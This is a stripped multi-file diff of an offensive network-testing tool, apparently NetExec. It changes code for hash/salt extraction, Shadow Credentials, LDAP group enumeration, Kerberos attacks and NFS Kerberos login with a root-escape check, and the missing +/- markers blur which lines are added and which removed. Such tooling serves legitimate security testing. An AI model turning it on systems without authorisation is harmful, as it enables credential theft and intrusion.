self.context.log.fail(f"Failed to revert Shadow Credentials: {e}")
return
self.context.log.success(f"Reverted {self.target} to {len(key_credentials)} backed-up KeyCredential(s)")
-2
View File
@@ -127,8 +127,6 @@ class SMBSpiderPlus:
self.logger.debug(f"The folder {subfolder} does not exist.")
elif "STATUS_STOPPED_ON_SYMLINK" in str(e):
self.logger.debug(f"The folder {subfolder} is a symlink that cannot be followed. Skipping.")
elif "STATUS_NO_SUCH_FILE" in str(e):
self.logger.debug(f"The folder {subfolder} is empty.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
+1 -1
View File
@@ -97,7 +97,7 @@ class NXCModule:
if ready:
reply = sock.recvfrom(120)[0]
# Extract RID, hash and "salt" if successful.
# Extract RID, hash and "salt" if succesful.
if len(reply) == 68:
salt = reply[:48]
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
+25 -5
View File
@@ -1,14 +1,15 @@
# PYTHON_ARGCOMPLETE_OK
import contextlib
import sys
from nxc.helpers.logger import highlight
from nxc.helpers.misc import display_modules
from nxc.helpers.misc import identify_target_file, display_modules
from nxc.parsers.ip import parse_targets
from nxc.parsers.nmap import parse_nmap_xml
from nxc.parsers.nessus import parse_nessus_file
from nxc.cli import gen_cli_args
from nxc.loaders.protocolloader import ProtocolLoader
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
from nxc.first_run import first_run_setup
from nxc.parsers.ip import process_targets
from nxc.paths import NXC_PATH, WORKSPACE_DIR
from nxc.console import nxc_console
from nxc.logger import nxc_logger
@@ -20,6 +21,7 @@ from nxc.helpers import powershell
import signal
import shutil
import os
from os.path import exists
from os.path import join as path_join
from sys import exit
from rich.progress import Progress
@@ -108,6 +110,8 @@ def main():
nxc_logger.error("KRB5CCNAME environment variable is not set")
exit(1)
targets = []
if hasattr(args, "cred_id") and args.cred_id:
for cred_id in args.cred_id:
if "-" in str(cred_id):
@@ -120,11 +124,27 @@ def main():
nxc_logger.error(f"Error parsing database credential id: {e}")
exit(1)
targets = process_targets(args)
if hasattr(args, "target") and args.target:
for target in args.target:
try:
if exists(target) and os.path.isfile(target):
target_file_type = identify_target_file(target)
if target_file_type == "nmap":
targets.extend(parse_nmap_xml(target, args.protocol))
elif target_file_type == "nessus":
targets.extend(parse_nessus_file(target, args.protocol))
else:
with open(target) as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry.strip()))
else:
targets.extend(parse_targets(target))
except Exception as e:
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
# The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
shutil.rmtree(obfuscated_dir)
os.mkdir(obfuscated_dir)
nxc_logger.success("Cleared cached obfuscated PowerShell scripts")
+6 -119
View File
@@ -1,135 +1,22 @@
import netifaces
from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
from nxc.helpers.logger import highlight
from nxc.helpers.misc import identify_target_file
from nxc.config import exclude_hosts, skip_self
from nxc.logger import nxc_logger
from nxc.parsers.nmap import parse_nmap_xml
from nxc.parsers.nessus import parse_nessus_file
from os.path import exists, isfile
from pathlib import Path
from sys import exit
def process_targets(args):
targets = []
if hasattr(args, "target") and args.target:
for target in args.target:
try:
if exists(target) and isfile(target):
target_file_type = identify_target_file(target)
if target_file_type == "nmap":
targets.extend(parse_nmap_xml(target, args.protocol))
elif target_file_type == "nessus":
targets.extend(parse_nessus_file(target, args.protocol))
else:
with open(target) as target_file:
for target_entry in target_file:
targets.extend(parse_targets(target_entry.strip()))
else:
targets.extend(parse_targets(target))
except Exception as e:
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
# Handle exclusions from config
excluded_ips = set()
# Process exclude_hosts from config. Important, we are reusing the parse_targets because it
# already provides the code necessary for parsing all provided inputs
if args.exclude_hosts is not None:
exclude_hosts.extend(args.exclude_hosts)
for excluded in exclude_hosts:
if Path(excluded).is_file():
with open(excluded) as excluded_file:
for line in excluded_file.readlines():
excluded_ips.update(parse_targets(line.strip()))
else:
excluded_ips.update(parse_targets(excluded))
# Process skip_self from config and cli argument
if skip_self or args.skip_self:
local_ips = get_local_ips()
if local_ips:
nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
excluded_ips.update(local_ips)
else:
nxc_logger.error("Could not determine local IP address for skip_self")
# Validate that all objects to be excluded are valid IP addresses
try:
for ip in excluded_ips:
ip_address(ip)
except ValueError as e:
nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
exit(1)
# Filter out excluded targets
if excluded_ips:
ignore_target_warning = False
for target in targets:
try:
ip_address(target)
except ValueError:
if not ignore_target_warning:
ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
if ans.lower() not in ["y", "yes", ""]:
exit(1)
ignore_target_warning = True
original_count = len(targets)
excluded_targets = [target for target in targets if target in excluded_ips]
targets = [target for target in targets if target not in excluded_ips]
nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
return targets
def get_local_ips():
"""Get the local IP address using netifaces library."""
interfaces = netifaces.interfaces()
ips = set()
for interface in interfaces:
# Skip loopback interface
if interface == "lo" or interface.startswith("lo"):
continue
addresses = netifaces.ifaddresses(interface)
if netifaces.AF_INET in addresses:
for addr_info in addresses[netifaces.AF_INET]:
ip = addr_info.get("addr")
# Skip localhost and link-local addresses
if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
ips.add(ip)
if netifaces.AF_INET6 in addresses:
for addr_info in addresses[netifaces.AF_INET6]:
ip = addr_info.get("addr")
# Skip localhost and link-local addresses
if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
ips.add(ip)
return ips
def parse_targets(target):
try:
if "-" in target:
start_ip, end_ip = target.split("-")
start = ip_address(start_ip)
try:
end = ip_address(end_ip)
end_ip = ip_address(end_ip)
except ValueError:
sep = ":" if start.version == 6 else "."
prefix = start_ip.split(sep)[:-1]
prefix.append(end_ip)
end = ip_address(sep.join(prefix))
first_three_octets = start_ip.split(".")[:-1]
first_three_octets.append(end_ip)
end_ip = ip_address(".".join(first_three_octets))
for ip_range in summarize_address_range(start, end):
for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
for ip in ip_range:
yield str(ip)
else:
ip = ip_interface(target).ip
if ip.version == 6 and ip.is_link_local:
if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
yield str(target)
else:
for ip in ip_network(target, strict=False):
+15 -49
View File
@@ -744,12 +744,12 @@ class ldap(connection):
self.users()
def groups(self):
# Group specific member search
# Building the search filter
if self.args.groups:
self.logger.debug(f"Dumping group: {self.args.groups}")
# Resolve group DN and primaryGroupID (objectSid) and member attribute
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid", "member"])
# Resolve group DN and primaryGroupID (objectSid)
group_resp = self.search(f"(&(cn={self.args.groups})(objectClass=group))", ["distinguishedName", "objectSid"])
group_parsed = parse_result_attributes(group_resp)
if not group_parsed:
@@ -757,63 +757,29 @@ class ldap(connection):
return
else:
group = group_parsed[0]
direct_group_members = group.get("member", [])
if not isinstance(direct_group_members, list):
direct_group_members = [direct_group_members]
# Get all group members: user must have membership OR primaryGroupID
# Search filter: user must have membership OR primaryGroupID
search_filter = f"(|(memberOf={group['distinguishedName']})(primaryGroupID={group['objectSid'].split('-')[-1]}))"
attributes = ["sAMAccountName", "distinguishedName", "cn", "objectClass"]
resp = self.search(search_filter, attributes)
group_members = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(group_members)}")
# Resolve any missing group members that the memberOf/primaryGroupID search above didn't already return
if len(group_members) < len(direct_group_members):
for member_dn in direct_group_members:
member_resp = self.search(f"(distinguishedName={member_dn})", ["sAMAccountName", "distinguishedName", "cn", "objectClass"])
member_parsed = parse_result_attributes(member_resp)
else:
search_filter = "(objectCategory=group)"
attributes = ["cn", "member", "description"]
if member_parsed:
group_members.append(member_parsed[0])
else:
self.logger.debug(f"Failed to resolve group member DN '{member_dn}' for group '{self.args.groups}'")
group_members.append({"distinguishedName": member_dn})
# Deduplicate group members by distinguishedName or cn
deduped = {}
for item in group_members:
key = item.get("distinguishedName", item.get("cn", "")).lower()
deduped.setdefault(key, item)
resp_parsed = list(deduped.values())
resp = self.search(search_filter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
if self.args.groups:
# Display group members
if not resp_parsed:
self.logger.fail(f"Group '{self.args.groups}' has no members")
else:
for item in resp_parsed:
# Display cn if it is a group
# Otherwise display sAMAccountName and fall back to cn if sAMAccountName is not present
# If nothing is present, display Distinguished Name
if "group" in item.get("objectClass", []):
out = item["cn"]
elif "sAMAccountName" in item:
out = item["sAMAccountName"]
elif "cn" in item:
out = item["cn"]
else:
out = item["distinguishedName"]
self.logger.highlight(out)
# List all groups
# Display sAMAccountName or CN if sAMAccountName not present (could be a group)
# Fallback to cn should sAMAccountName not be present (e.g. Service Principal Names)
self.logger.highlight(item.get("sAMAccountName", item["cn"]) if "group" not in item["objectClass"] else item["cn"])
else:
search_filter = "(objectCategory=group)"
attributes = ["cn", "member", "description"]
resp = self.search(search_filter, attributes)
resp_parsed = parse_result_attributes(resp)
self.logger.debug(f"Total of records returned {len(resp_parsed)}")
# Display all groups
self.logger.highlight(f"{'-Group-':<40} {'-Members-':<9} {'-Description-':<60}")
for item in resp_parsed:
@@ -1237,7 +1203,7 @@ class ldap(connection):
def printTable(items, header):
colLen = []
# Calculating maximum length before parsing CN.
# Calculating maximum lenght before parsing CN.
for i, col in enumerate(header):
rowMaxLen = max(len(row[1].split(",")[0].split("CN=")[-1]) for row in items) if i == 1 else max(len(str(row[i])) for row in items)
colLen.append(max(rowMaxLen, len(col)))
-124
View File
@@ -1,124 +0,0 @@
from impacket.ldap.ldaptypes import ACCESS_MASK
# https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids
# https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab?source=recommendations
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-21-0-0-0-496": "Compounded Authentication", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_13
"S-1-5-21-0-0-0-497": "Claims Valid", # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/11e1608c-6169-4fbc-9c33-373fc9b224f4#Appendix_A_14
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-32-553": "RAS and IAS Servers",
"S-1-5-32-554": r"BUILTIN\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": r"BUILTIN\Remote Desktop Users",
"S-1-5-32-557": r"BUILTIN\Incoming Forest Trust Builders",
"S-1-5-32-556": r"BUILTIN\Network Configuration Operators",
"S-1-5-32-558": r"BUILTIN\Performance Monitor Users",
"S-1-5-32-559": r"BUILTIN\Performance Log Users",
"S-1-5-32-560": r"BUILTIN\Windows Authorization Access Group",
"S-1-5-32-561": r"BUILTIN\Terminal Server License Servers",
"S-1-5-32-562": r"BUILTIN\Distributed COM Users",
"S-1-5-32-568": r"BUILTIN\DCOM Users",
"S-1-5-32-569": r"BUILTIN\Cryptographic Operators",
"S-1-5-32-571": r"BUILTIN\Cacheable Principals",
"S-1-5-32-572": r"BUILTIN\Non-Cacheable Principals",
"S-1-5-32-573": r"BUILTIN\Event Log Readers",
"S-1-5-32-574": r"BUILTIN\Certificate Service DCOM Access",
"S-1-5-32-575": r"BUILTIN\RDS Remote Access Servers",
"S-1-5-32-576": r"BUILTIN\RDS Endpoint Servers",
"S-1-5-32-577": r"BUILTIN\RDS Management Servers",
"S-1-5-32-578": r"BUILTIN\Hyper-V Administrators",
"S-1-5-32-579": r"BUILTIN\Access Control Assistance Operators",
"S-1-5-32-580": r"BUILTIN\Remote Management Users",
"S-1-5-32-581": r"BUILTIN\Default Account",
"S-1-5-32-582": r"BUILTIN\Storage Replica Administrators",
"S-1-5-32-583": r"BUILTIN\Device Owners",
"S-1-5-32-584": r"BUILTIN\User Mode Hardware Operators",
"S-1-5-32-585": r"BUILTIN\OpenSSH Users",
"S-1-5-33": "Write Restricted Code",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-65-1": "This Organization Certificate", # see https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/39f588d6-21e3-4e09-a9f2-d8f7b9b998bf
"S-1-5-80": "NT Service",
"S-1-5-80-0": "All Services",
"S-1-5-83-0": r"NT VIRTUAL MACHINE\Virtual Machines",
"S-1-5-84-0-0-0-0-0": "User Mode Drivers",
"S-1-5-1000": "Other Organization",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-18-1": "Authentication Authority Asserted Identity",
"S-1-18-2": "Service Asserted Identity",
"S-1-18-3": "Fresh public key identity",
"S-1-18-5": "MFA Key Property",
"S-1-18-6": "Attested Key Property",
}
ACCESS_MASK_TO_TEXT_LOOKUP = {
ACCESS_MASK.GENERIC_READ: "GENERIC_READ",
ACCESS_MASK.GENERIC_WRITE: "GENERIC_WRITE",
ACCESS_MASK.GENERIC_EXECUTE: "GENERIC_EXECUTE",
ACCESS_MASK.GENERIC_ALL: "GENERIC_ALL",
ACCESS_MASK.MAXIMUM_ALLOWED: "MAXIMUM_ALLOWED",
ACCESS_MASK.ACCESS_SYSTEM_SECURITY: "ACCESS_SYSTEM_SECURITY",
ACCESS_MASK.SYNCHRONIZE: "SYNCHRONIZE",
ACCESS_MASK.WRITE_OWNER: "WRITE_OWNER",
ACCESS_MASK.WRITE_DACL: "WRITE_DACL",
ACCESS_MASK.READ_CONTROL: "READ_CONTROL",
ACCESS_MASK.DELETE: "DELETE",
# file system rights
0x00000001: "FILE_READ_DATA",
0x00000002: "FILE_WRITE_DATA",
0x00000004: "FILE_APPEND_DATA",
0x00000008: "FILE_READ_EA",
0x00000010: "FILE_WRITE_EA",
0x00000020: "FILE_EXECUTE",
0x00000040: "FILE_DELETE_CHILD",
0x00000080: "FILE_READ_ATTRIBUTES",
0x00000100: "FILE_WRITE_ATTRIBUTES"
}
+1 -1
View File
@@ -167,7 +167,7 @@ class KerberosAttacks:
if e.errno == 113:
self.logger.fail(f"Unable to resolve KDC hostname: {e!s}")
else:
self.logger.fail(f"Some other OSError occurred: {e!s}")
self.logger.fail(f"Some other OSError occured: {e!s}")
return None
except Exception as e:
self.logger.debug(f"TGT: {e!s}")
+275 -292
View File
@@ -5,22 +5,15 @@ from nxc.connection import connection
from nxc.logger import NXCAdapter
from nxc.helpers.logger import highlight
from nxc.config import host_info_colors
from pyNfsClient import (
Portmap,
Mount,
NFSv3,
)
from pyNfsClient import NFSClient, discover_nfs_versions
from pyNfsClient.kerberos import KerberosInitiator
from pyNfsClient.const import (
NFS_PROGRAM,
NFS_V3,
ACCESS3_READ,
ACCESS3_MODIFY,
ACCESS3_EXECUTE,
NFSSTAT3,
NFS3ERR_NOENT,
NF3REG,
)
import re
import uuid
import math
import os
@@ -74,11 +67,14 @@ fsid_lens = {
class nfs(connection):
def __init__(self, args, db, host):
if args.nfs_auth in ("krb5", "krb5i", "krb5p"):
args.kerberos = True
self.protocol = "nfs"
self.port = 111
self.portmap = None
self.mnt_port = None
self.mount = None
self.port = args.port or 2049
self.nfs = None
self.nfs_version = args.nfs_version
self.nfs_versions = ()
self.discovery = None
self.auth = {
"flavor": 1,
"machine_name": uuid.uuid4().hex.upper()[0:6],
@@ -86,6 +82,9 @@ class nfs(connection):
"gid": 0,
"aux_gid": [],
}
self.rpc_auth = self.auth if args.nfs_auth == "sys" else None
self.authenticated = False
self.credentials = None
self.root_escape = None
# If root escape is possible, the escape_share and escape_fh will be populated
self.escape_share = None
@@ -97,25 +96,59 @@ class nfs(connection):
extra={
"protocol": "NFS",
"host": self.host,
"port": self.port,
"port": self.port or self.args.port or 2049,
"hostname": self.hostname,
}
)
def uses_kerberos(self):
return self.args.nfs_auth in ("krb5", "krb5i", "krb5p")
@staticmethod
def auth_snapshot(auth):
if not isinstance(auth, dict):
return auth
auth = dict(auth)
auth["aux_gid"] = tuple(auth.get("aux_gid", ()))
return auth
def connect_nfs(self):
if self.nfs is not None:
return self.nfs
port = self.args.port
if port is None and self.nfs_version == "3" and self.discovery is not None:
port = self.discovery.nfs3_port
self.nfs = NFSClient(self.host, self.nfs_version, port, self.args.nfs_timeout, self.auth if self.uses_kerberos() and self.rpc_auth is None else self.rpc_auth)
self.nfs.connect()
self.conn = self.nfs
self.port = self.nfs.port
return self.nfs
def selected_root_handle(self):
if self.root_escape and not self.args.share:
self.logger.success(f"Successful escape on share: {self.escape_share}")
return self.escape_fh
if not self.args.share and self.nfs_version == "3":
self.logger.fail("No root escape possible, please specify a share")
return None
mount_info = self.nfs.root_handle(self.args.share or "/")
if mount_info["status"] != 0:
self.logger.fail(f"Could not open share {self.args.share or '/'}: {self.nfs.status_name(mount_info['status'])}")
return None
return mount_info["mountinfo"]["fhandle"]
def create_conn_obj(self):
"""Initializes and connects to the portmap and mounted folder"""
"""Discover supported versions and connect the selected NFS client."""
try:
# Portmap Initialization
self.portmap = Portmap(self.host, timeout=self.args.nfs_timeout)
self.portmap.connect()
# Mount Initialization
self.mnt_port = self.portmap.getport(Mount.program, Mount.program_version)
self.mount = Mount(host=self.host, port=self.mnt_port, timeout=self.args.nfs_timeout, auth=self.auth)
self.mount.connect()
# Change logging port to the NFS port
self.port = self.mnt_port
self.discovery = discover_nfs_versions(self.host, self.rpc_auth, self.args.port or 2049, self.args.nfs_timeout, 111)
self.nfs_versions = self.discovery.supported
if self.nfs_version is not None and self.nfs_version not in self.nfs_versions and not any(label == self.nfs_version or (self.nfs_version == "3" and (label == "rpcbind" or label.startswith("3@"))) for label, _ in self.discovery.inconclusive):
raise ConnectionError(f"NFSv{self.nfs_version} is not supported by the target")
if self.nfs_version is None:
if not self.nfs_versions:
raise ConnectionError("No supported NFS version discovered")
self.nfs_version = "3" if "3" in self.nfs_versions else self.nfs_versions[-1]
self.connect_nfs()
self.proto_logger()
except Exception as e:
self.logger.info(f"Error during Initialization: {e}")
@@ -123,46 +156,82 @@ class nfs(connection):
return True
def enum_host_info(self):
try:
# Dump all registered programs
programs = self.portmap.dump()
self.nfs_versions = set()
for program in programs:
if program["program"] == NFS_PROGRAM:
self.nfs_versions.add(program["version"])
except Exception as e:
self.logger.fail(f"Error checking NFS version: {self.host} {e}")
# Connect to NFS
try:
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
if nfs_port:
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
# Check if root escape is possible
if NFS_V3 in self.nfs_versions:
self.root_escape = self.try_root_escape()
else:
self.logger.debug("NFSv3 not supported, skipping root escape check")
self.nfs3.disconnect()
except Exception as e:
self.logger.fail(f"Failed to connect to NFS3 host: {e}")
if not self.uses_kerberos():
try:
self.root_escape = self.try_root_escape()
except Exception as e:
self.logger.debug(f"Root escape check failed: {e}")
self.root_escape = None
self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
def print_host_info(self):
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
root_escape_str = colored(f"root escape:{'unknown' if self.root_escape is None else self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
self.logger.display(f"Supported NFS versions: ({', '.join(self.nfs_versions)}) NFSv{self.nfs_version} {self.args.nfs_auth} ({root_escape_str})")
def disconnect(self):
"""Disconnect mount and portmap if they are connected"""
"""Release the generic NFS client and its version-specific state."""
try:
self.mount.disconnect()
self.portmap.disconnect()
self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
if self.nfs is not None:
self.nfs.disconnect()
except Exception as e:
self.logger.fail(f"Error during disconnect: {e}")
else:
self.logger.info(f"Disconnect successful: {self.host}:{self.port}")
def login(self):
if not self.uses_kerberos():
return True
if self.args.use_kcache:
return self.kerberos_login(self.args.domain, self.args.username[0] if self.args.username else "", kdcHost=self.args.kdcHost, useCache=True)
if not self.args.username:
self.logger.fail(f"{self.args.nfs_auth} requires credentials or --use-kcache")
return False
return super().login() or self.authenticated
def plaintext_login(self, domain, username, password):
if not self.uses_kerberos():
return True
return self.kerberos_login(domain, username, password=password)
def hash_login(self, domain, username, ntlm_hash):
if not self.uses_kerberos():
self.logger.fail("NT hashes only apply to Kerberos NFS authentication")
return False
return self.kerberos_login(domain, username, ntlm_hash=ntlm_hash)
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
lmhash, nthash = ntlm_hash.split(":", 1) if ":" in ntlm_hash else ("", ntlm_hash)
self.credentials = {
"realm": domain,
"username": username,
"password": password,
"lmhash": lmhash,
"nthash": nthash,
"aes_key": aesKey,
"ccache": os.environ.get("KRB5CCNAME") if useCache else None,
"use_cache": useCache,
"kdc_host": kdcHost,
"service": "nfs",
}
try:
if self.nfs is not None:
self.nfs.disconnect()
self.nfs = None
self.rpc_auth = None
self.connect_nfs()
self.nfs.establish_gss(KerberosInitiator(self.host, self.credentials), self.args.nfs_auth)
self.rpc_auth = self.nfs.auth
self.root_escape = self.try_root_escape()
except Exception as e:
self.logger.fail(f"{domain}\\{username} ({self.args.nfs_auth}): {e}")
return False
self.domain = domain
self.username = username
self.password = password
self.authenticated = True
self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
self.logger.success(f"{domain}\\{username} ({self.args.nfs_auth})")
return True
def list_dir(self, file_handle, path, recurse=1):
"""Process entries in NFS directory recursively with UID autodection"""
@@ -170,6 +239,8 @@ class nfs(connection):
try:
contents = []
for entry in entries:
if self.args.nfs_auth == "sys":
self.auth.update(directory_auth)
if "name" in entry and entry["name"] not in [b".", b".."]:
item_path = f'{path}/{entry["name"].decode("utf-8")}' # Constructing file path
if entry.get("name_attributes", {}).get("present", False):
@@ -178,7 +249,7 @@ class nfs(connection):
contents += self.list_dir(dir_handle, item_path, recurse=recurse - 1)
else:
file_handle = entry["name_handle"]["handle"]["data"]
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
attrs = self.update_auth(file_handle)
file_size = attrs["attributes"]["size"]
file_size = convert_size(file_size)
uid = attrs["attributes"]["uid"]
@@ -189,135 +260,93 @@ class nfs(connection):
# Processing next entries recursively
contents += process_entries(entry["nextentry"], path, uid, recurse)
if self.args.nfs_auth == "sys":
self.auth.update(directory_auth)
return contents
except Exception as e:
self.logger.debug(f"Error on Listing Entries for NFS Shares: {self.host}:{self.port} {e}")
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
attrs = self.update_auth(file_handle)
directory_auth = dict(self.auth)
if recurse == 0:
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": self.auth["uid"]}]
return [{"path": f"{path}/", "read": read_perm, "write": write_perm, "execute": exec_perm, "filesize": "-", "uid": attrs["attributes"]["uid"]}]
items = self.nfs3.readdirplus(file_handle, auth=self.auth)
items = self.nfs.readdirplus(file_handle, auth=self.rpc_auth)
if "resfail" in items:
raise Exception("Insufficient Permissions")
else:
entries = items["resok"]["reply"]["entries"]
return process_entries(entries, path, self.auth["uid"], recurse)
def export_info(self, export_nodes):
"""Enumerates all NFS shares and their access range"""
networks = []
for node in export_nodes:
# Collect the names of the groups associated with this export node
group_names = self.group_names(node.ex_groups) or ["Everyone"]
networks.append(group_names)
# If there are more export nodes, process them recursively. More than one share.
if node.ex_next:
networks.extend(self.export_info(node.ex_next))
return networks
def group_names(self, groups):
"""Enumerates all access range of the share(s)"""
result = []
for group in groups:
result.append(group.gr_name.decode())
# If there are more IP's, process them recursively.
if group.gr_next:
result.extend(self.group_names(group.gr_next))
return result
return process_entries(entries, path, attrs["attributes"]["uid"], recurse)
def shares(self):
self.logger.display("Enumerating NFS Shares")
try:
# Connect to NFS
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
self.nfs3.connect()
output_export = str(self.mount.export())
networks = self.export_info(self.mount.export())
reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names
shares = list(reg.findall(output_export))
self.connect_nfs()
# Mount shares and check permissions
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
for share, network in zip(shares, networks, strict=True):
self.logger.highlight(f"{'UID':<11} {'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
self.logger.highlight(f"{'---':<11} {'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
for share, network in self.nfs.exports():
try:
mnt_info = self.mount.mnt(share, self.auth)
mnt_info = self.nfs.root_handle(share)
self.logger.debug(f"Mounted {share} - {mnt_info}")
if mnt_info["status"] != 0:
self.logger.debug(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}")
self.logger.debug(f"Error mounting share {share}: {self.nfs.status_name(mnt_info['status'])}")
self.logger.highlight(f"{'-':<11}{'---':<9}{'---'}/{'---':<12} {share:<30} {', '.join(network) if network else 'No network':<15}")
else:
file_handle = mnt_info["mountinfo"]["fhandle"]
info = self.nfs3.fsstat(file_handle, self.auth)
info = self.nfs.fsstat(file_handle, auth=self.rpc_auth)
free_space = info["resok"]["fbytes"]
total_space = info["resok"]["tbytes"]
used_space = total_space - free_space
# Autodetectting the uid needed for the share
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
self.auth["uid"] = attrs["attributes"]["uid"]
attrs = self.update_auth(file_handle)
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
self.mount.umnt(self.auth)
self.nfs.unmount()
self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network)
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
self.logger.highlight(f"{attrs['attributes']['uid']:<11} {'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
except Exception as e:
self.logger.fail(f"Failed to list share: {share} - {e}")
except Exception as e:
self.logger.fail(f"Error on Enumeration NFS Shares: {self.host}:{self.port} {e}")
finally:
self.nfs3.disconnect()
def get_permissions(self, file_handle):
"""Check permissions for the file handle"""
try:
read_perm = self.nfs3.access(file_handle, ACCESS3_READ, self.auth).get("resok", {}).get("access", 0) is ACCESS3_READ
except Exception:
read_perm = self.nfs.access(file_handle, ACCESS3_READ, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_READ
except Exception as e:
self.logger.debug(f"NFS read access check failed: {e}")
read_perm = False
try:
write_perm = self.nfs3.access(file_handle, ACCESS3_MODIFY, self.auth).get("resok", {}).get("access", 0) is ACCESS3_MODIFY
except Exception:
write_perm = self.nfs.access(file_handle, ACCESS3_MODIFY, auth=self.rpc_auth).get("resok", {}).get("access", 0) == ACCESS3_MODIFY
except Exception as e:
self.logger.debug(f"NFS write access check failed: {e}")
write_perm = False
try:
